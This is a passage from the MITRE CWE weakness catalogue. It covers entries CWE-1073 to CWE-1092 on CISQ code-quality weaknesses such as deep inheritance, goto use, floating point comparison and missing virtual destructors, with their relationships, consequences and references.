Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-13		

## References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.

[REF-974]Wikipedia. "Connection pool". < [https://en.wikipedia.org/wiki/Connection\\_pool](https://en.wikipedia.org/wiki/Connection_pool) >.

## CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses

**Weakness ID** : 1073**Structure** : Simple**Abstraction** : Base

## Description

The product contains a client with a function or method that contains a large number of data accesses/queries that are sent through a data manager, i.e., does not use efficient database capabilities.

## Extended Description

This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large number of data accesses/queries" may vary for each product or developer, CISQ recommends a default maximum of 2 data accesses per function/method.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	933

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

## Weakness Ordinalities

**Indirect :**

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2236
MemberOf		1309	CISQ Quality Measures - Efficiency	1305	2279

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-10		

## References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.



## CWE-1074: Class with Excessively Deep Inheritance

**Weakness ID :** 1074

**Structure :** Simple

**Abstraction :** Base

### Description

A class has an inheritance level that is too high, i.e., it has a large number of parent classes.

### Extended Description

This issue makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of parent classes" may vary for each product or developer, CISQ recommends a default maximum of 7 parent classes.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1093	Excessively Complex Data Representation	1793

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1226	Complexity Issues	2273

### Weakness Ordinalities


**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-17		

### References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1075: Unconditional Control Flow Transfer outside of Switch Block

**Weakness ID** : 1075

**Structure** : Simple

**Abstraction** : Base

### Description

The product performs unconditional control transfer (such as a "goto") in code outside of a branching structure such as a switch block.

### Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1817

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1226	Complexity Issues	2273

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-1		

### References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1076: Insufficient Adherence to Expected Conventions

**Weakness ID :** 1076

**Structure :** Simple

**Abstraction :** Class

### Description

The product's architecture, source code, design, documentation, or other artifact does not follow required conventions.

### Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444
ParentOf	V	586	Explicit Call to Finalize()	1243
ParentOf	V	1045	Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor	1745
ParentOf	C	1078	Inappropriate Source Code Style or Formatting	1779
ParentOf	B	1079	Parent Class without Virtual Destructor Method	1780
ParentOf	B	1082	Class Instance Self Destruction Control Element	1782
ParentOf	B	1087	Class with Virtual Method without a Virtual Destructor	1787
ParentOf	B	1091	Use of Object without Invoking Destructor Method	1792
ParentOf	B	1097	Persistent Storable Data Element without Associated Comparison Control Element	1797
ParentOf	V	1098	Data Element containing Pointer Item without Proper Copy Control Element	1798
ParentOf	B	1108	Excessive Reliance on Global Variables	1807

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

## CWE-1077: Floating Point Comparison with Incorrect Operator

**Weakness ID :** 1077

**Structure :** Simple

**Abstraction :** Variant

### Description

The code performs a comparison such as an equality test between two float (floating point) values, but it uses comparison operators that do not account for the possibility of loss of precision.

## Extended Description

Numeric calculation using floating point values can generate imprecise results because of rounding errors. As a result, two different calculations might generate numbers that are mathematically equal, but have slightly different bit representations that do not translate to the same mathematically-equal values. As a result, an equality test or other comparison might produce unexpected results.

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1428

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	2103

## Weakness Ordinalities

Indirect :

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-9		

## References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

[REF-975]Bruce Dawson. "Comparing Floating Point Numbers, 2012 Edition". 2012 February 5. < <https://randomascii.wordpress.com/2012/02/25/comparing-floating-point-numbers-2012-edition/> >.

## CWE-1078: Inappropriate Source Code Style or Formatting

**Weakness ID** : 1078**Structure** : Simple**Abstraction** : Class

### Description

The source code does not follow desired style or formatting for indentation, white space, comments, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1076	Insufficient Adherence to Expected Conventions	1778
ParentOf		546	Suspicious Comment	1186
ParentOf		547	Use of Hard-coded, Security-relevant Constants	1187
ParentOf		1085	Invokable Control Element with Excessive Volume of Commented-out Code	1785
ParentOf		1099	Inconsistent Naming Conventions for Identifiers	1799
ParentOf		1106	Insufficient Use of Symbolic Constants	1805
ParentOf		1107	Insufficient Isolation of Symbolic Constant Definitions	1806
ParentOf		1109	Use of Same Variable for Multiple Purposes	1808
ParentOf		1113	Inappropriate Comment Style	1811
ParentOf		1114	Inappropriate Whitespace Style	1811
ParentOf		1115	Source Code Element without Standard Prologue	1812
ParentOf		1116	Inaccurate Comments	1813
ParentOf		1117	Callable with Insufficient Behavioral Summary	1814

### Weakness Ordinalities

**Indirect** :

## CWE-1079: Parent Class without Virtual Destructor Method

**Weakness ID** : 1079**Structure** : Simple**Abstraction** : Base

### Description

A parent class contains one or more child classes, but the parent class does not have a virtual destructor method.

### Extended Description

This issue can prevent the product from running reliably due to undefined or unexpected behaviors. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1076	Insufficient Adherence to Expected Conventions	1778

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities





Indirect :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf		1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-16		

### References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-1080: Source Code File with Excessive Number of Lines of Code

**Weakness ID** : 1080

**Structure** : Simple

**Abstraction** : Base

### Description

A source code file has too many lines of code.

### Extended Description

This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "too many lines of code" may vary for each product or developer, CISQ recommends a default threshold value of 1000.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1817

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1226	Complexity Issues	2273

### Weakness Ordinalities

Indirect :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-8		

### References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1082: Class Instance Self Destruction Control Element

**Weakness ID :** 1082

**Structure :** Simple

**Abstraction :** Base

### Description

The code contains a class instance that calls the method or function to delete or destroy itself.

### Extended Description

For example, in C++, "delete this" will cause the object to delete itself.


This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships




The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1076	Insufficient Adherence to Expected Conventions	1778

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities



Indirect :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf		1306	CISQ Quality Measures - Reliability	1305	2276

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-7		

### References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

[REF-976]Standard C++ Foundation. "Memory Management". < <https://isocpp.org/wiki/faq/freestore-mgmt#delete-this> >.

## CWE-1083: Data Access from Outside Expected Data Manager Component

**Weakness ID :** 1083

**Structure :** Simple

**Abstraction :** Base

### Description

The product is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component.

### Extended Description


When the product has a data access component, the design may be intended to handle all data access operations through that component. If a data access operation is performed outside of that component, then this may indicate a violation of the intended design.

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1061	Insufficient Encapsulation	1762

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1227	Encapsulation Issues	2274

## Weakness Ordinalities

Indirect :

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf		1306	CISQ Quality Measures - Reliability	1305	2276

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-10		

## References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-1084: Invokable Control Element with Excessive File or Data Access Operations

**Weakness ID** : 1084

**Structure** : Simple

**Abstraction** : Base

## Description

A function or method contains too many operations that utilize a data manager or file resource.

## Extended Description


This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "too many operations" may vary for each product or developer, CISQ recommends a default maximum of 7 operations for the same data manager or file.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	933

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

## Weakness Ordinalities

Indirect :

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-14		

## References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code

**Weakness ID :** 1085  
**Structure :** Simple  
**Abstraction :** Base

## Description

A function, method, procedure, etc. contains an excessive amount of code that has been commented out within its body.

## Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "excessive volume" may vary for each product or developer, CISQ recommends a default threshold of 2% of commented code.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1779

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

## Weakness Ordinalities

Indirect :

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-6		

## References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1086: Class with Excessive Number of Child Classes

Weakness ID : 1086

**Structure** : Simple  
**Abstraction** : Base

### Description

A class contains an unnecessarily large number of children.

### Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of children" may vary for each product or developer, CISQ recommends a default maximum of 10 child classes.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1093	Excessively Complex Data Representation	1793

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1226	Complexity Issues	2273

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-18		

### References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

**Weakness ID** : 1087**Structure** : Simple**Abstraction** : Base

## Description

A class contains a virtual method, but the method does not have an associated virtual destructor.


## Extended Description

This issue can prevent the product from running reliably, e.g. due to undefined behavior. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1076	Insufficient Adherence to Expected Conventions	1778

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

## Weakness Ordinalities



**Indirect** :

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf		1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-15		

## References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-1088: Synchronous Access of Remote Resource without Timeout

**Weakness ID** : 1088**Structure** : Simple**Abstraction** : Base

### Description

The code has a synchronous call to a remote resource, but there is no timeout for the call, or the timeout is set to infinite.

### Extended Description

This issue can prevent the product from running reliably, since an outage for the remote resource can cause the product to hang. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>E</b>	821	Incorrect Synchronization	1603

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	557	Concurrency Issues	2122

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf	<b>C</b>	1306	CISQ Quality Measures - Reliability	1305	2276

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-19		

### References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.



**Weakness ID** : 1089**Structure** : Simple**Abstraction** : Base

## Description

The product uses a large data table that contains an excessively large number of indices.

## Extended Description


This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "excessively large number of indices" may vary for each product or developer, CISQ recommends a default threshold of 1000000 rows for a "large" table and a default threshold of 3 indices.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	933

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

## Weakness Ordinalities

**Indirect :**

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2236
MemberOf		1309	CISQ Quality Measures - Efficiency	1305	2279

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-6		

## References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.

## CWE-1090: Method Containing Access of a Member Element from Another Class

**Weakness ID :** 1090

**Structure :** Simple

**Abstraction :** Base

### Description

A method for a class performs an operation that directly accesses a member element from another class.


### Extended Description

This issue suggests poor encapsulation and makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1061	Insufficient Encapsulation	1762

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1227	Encapsulation Issues	2274

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-16		

### References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1091: Use of Object without Invoking Destructor Method

**Weakness ID** : 1091

**Structure** : Simple

**Abstraction** : Base

### Description

The product contains a method that accesses an object but does not later invoke the element's associated finalize/destructor method.



### Extended Description

This issue can make the product perform more slowly by retaining memory and/or other resources longer than necessary. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1076	Insufficient Adherence to Expected Conventions	1778
ChildOf		772	Missing Release of Resource after Effective Lifetime	1512

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2236
MemberOf		1309	CISQ Quality Measures - Efficiency	1305	2279

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-15		

### References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.

## CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers

**Weakness ID :** 1092

**Structure :** Simple

**Abstraction :** Base

### Description

The product uses the same control element across multiple architectural layers.
